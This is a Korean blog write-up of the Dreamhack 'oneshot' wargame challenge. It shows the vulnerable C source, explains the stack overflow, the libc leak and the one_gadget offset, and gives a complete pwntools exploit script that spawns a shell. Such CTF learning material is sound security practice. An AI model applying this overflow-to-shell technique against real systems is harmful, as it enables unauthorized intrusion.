e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • wargame
  • how2heap
  • BOF
  • dvwa
  • dreamhack.io
  • Heap
  • 1-day
  • rev-basic
  • x64
  • X86

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[Dreamhack] oneshot - write up

2023. 1. 15. 22:52

Index

문제
보호기법 확인
oneshot.c
문제 풀이
1. RET로 부터 변수 거리 확인
2. oneshot 가젯 주소 얻기
3. Libc Leak
익스플로잇
익스플로잇 오류 및 해결방법


oneshot
Description 이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다. 플래그의 형식은 DH{...} 입니다.
https://dreamhack.io/wargame/challenges/34/

oneshot 가젯을 이용하여 문제를 풀 수 있다.

환경은 Ubuntu 18.04(glibc 2.27)이다. Ubuntu 20.04(glibc 2.31)에서는 glibc 버전 문제로 익스가 제대로 되지 않았다.

문제

문제를 다운받으면 위와 같은 파일을 준다.

보호기법 확인

먼저, 보호기법을 확인한다. NX와 PIE가 걸려있다.

oneshot.c

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

문제 풀이

먼저, printf 함수로 stdout 주소를 릭해준다. 이 주소로 stdout offset을 빼주면 libc 시작 주소를 구할 수 있을 것이다.

msg 변수가 16바이트 할당되고, read 함수로 46바이트를 입력받아 버퍼오버플로우가 발생한다.

하지만 check 변수가 0보다 크다면, 프로그램을 종료하게 된다.

1. RET로 부터 변수 거리 확인

각 함수에 쓰이는 변수와 비교하는 cmp 구문을 통해 각 변수의 주소를 알 수 있다.

msg 변수의 주소는 rbp-0x20이고, check 변수의 주소는 rbp-0x8이다.

입력을 46바이트만큼 받기 때문에 버퍼오버플로우가 발생하지만, RET를 접근하기 전에 check 변수를 만난다. 이를 생각하여 msg의 주소(rbp-0x20)로부터 값을 채울 때, check(rbp-0x8)의 값을 0보다 크지 않게 설정해줘야 프로그램이 종료되지 않고 실행 흐름을 조작할 수 있다.

스택구조는 다음 사진과 같다.

2. oneshot 가젯 주소 얻기

문제 이름도 oneshot인 만큼, oneshot 가젯을 이용해서 문제를 풀 것이다.

먼저, one_gadget 도구를 받아야 한다.

sudo apt install ruby
sudo gem install one_gadget
#ldd [binary]
#one_gadget [library]

현재 local libc 라이브러리를 확인해서 이를 one_gadget 툴로 돌리면, 바이너리 내부의 oneshot 가젯주소를 얻을 수 있다. 원샷 가젯은 실행 조건(constraints)을 만족해야 실행된다.

원격으로 문제를 풀 때는 문제에서 주어진 libc를 사용해서 오프셋을 구해야 한다.

3. Libc Leak

가젯으로 얻은 값은 오프셋이기 때문에, libc의 시작 주소가 필요하다. 이 문제에서는 맨 위에서 stdout의 주소를 leak 해주기 때문에 stdout offset을 빼주면 libc의 시작주소를 얻을 수 있다.

  • stdout 출력 부분
  • stdout 라이브러리 확인
  • _IO_2_1_stdout 오프셋

익스플로잇

from pwn import *
context.log_level='debug'

p = process('./oneshot')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./oneshot')
#p = remote('host3.dreamhack.games', 10190)
#libc = ELF('./libc.so.6')

def slog(name, addr): return success(": ".join([name, hex(addr)]))

#local
oneshot_offset = 0x4f302

#remote
#oneshot_offset = 0x45216

#[1] Leak libc base
p.recvuntil(b'stdout: ')
stdout = int(p.recvuntil('\n')[:-1],16)
slog("stdout", stdout)
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
oneshot = libc_base + oneshot_offset

slog("libc_base", libc_base)
slog("oneshot", oneshot)

#[2] exploit
payload = b'A' * 0x18
payload += p64(0)
payload += b'B' * 0x8
payload += p64(oneshot)
p.sendafter(b"MSG: ", payload)

p.interactive()

익스플로잇 오류 및 해결방법

페이로드에 문제가 없는데, 익스가 되지 않는 경우가 있다.

필자는 Ubuntu 20.04에서 계속 되지 않아서, Ubuntu 18.04 버전으로 익스를 성공했다.

20.04는 glibc 2.31이고, 18.04는 glibc 2.27이여서 버전 문제로 안된 것 같다.

  • glibc 버전 확인
    getconf -a | grep libc


Uploaded by N2T

    'Pwnable' 카테고리의 다른 글
    • [Dreamhack] hook - write up
    • [Dreamhack] out of bound - write up
    • [Dreamhack] basic_rop_x64 - write up
    • [Dreamhack] basic_rop_x86 - write up
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바